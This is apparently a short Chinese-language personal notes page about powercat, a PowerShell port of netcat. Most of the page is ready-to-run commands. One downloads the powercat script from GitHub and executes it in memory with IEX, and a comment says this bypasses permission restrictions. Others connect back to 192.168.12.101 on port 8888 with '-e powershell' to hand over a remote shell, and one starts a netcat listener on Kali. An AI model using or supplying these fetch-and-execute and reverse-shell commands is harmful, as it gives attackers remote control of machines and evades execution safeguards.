

# 【Terminal】powercat

就是NetCat 的Powershell 版本

<https://github.com/besimorhino/powercat>

下載: <https://github.com/besimorhino/powercat/blob/master/powercat.ps1>

建立連線

```
IEX(New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1');powercat -c 192.168.12.101 -p 8888 -e powershell
```

```
# 用IEX下載遠端PS1腳本回來繞過權限執行
IEX(New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1');
powercat -c 192.168.12.101 -p 8888 -e powershell
```

```
# 單獨執行(需權限)
powercat -c 192.168.12.101 -p 8888 -v
```

```
# kali
netcat -l -p 8888 -vv
```

---

🕒修訂版本 #3

★由 treeman 建立於 11 🇲🇵🇲🇵🇲🇵🇲🇵 2023 01:52:21

✍由 treeman 更新於 19 🇲🇵🇲🇵🇲🇵🇲🇵 2024 23:56:48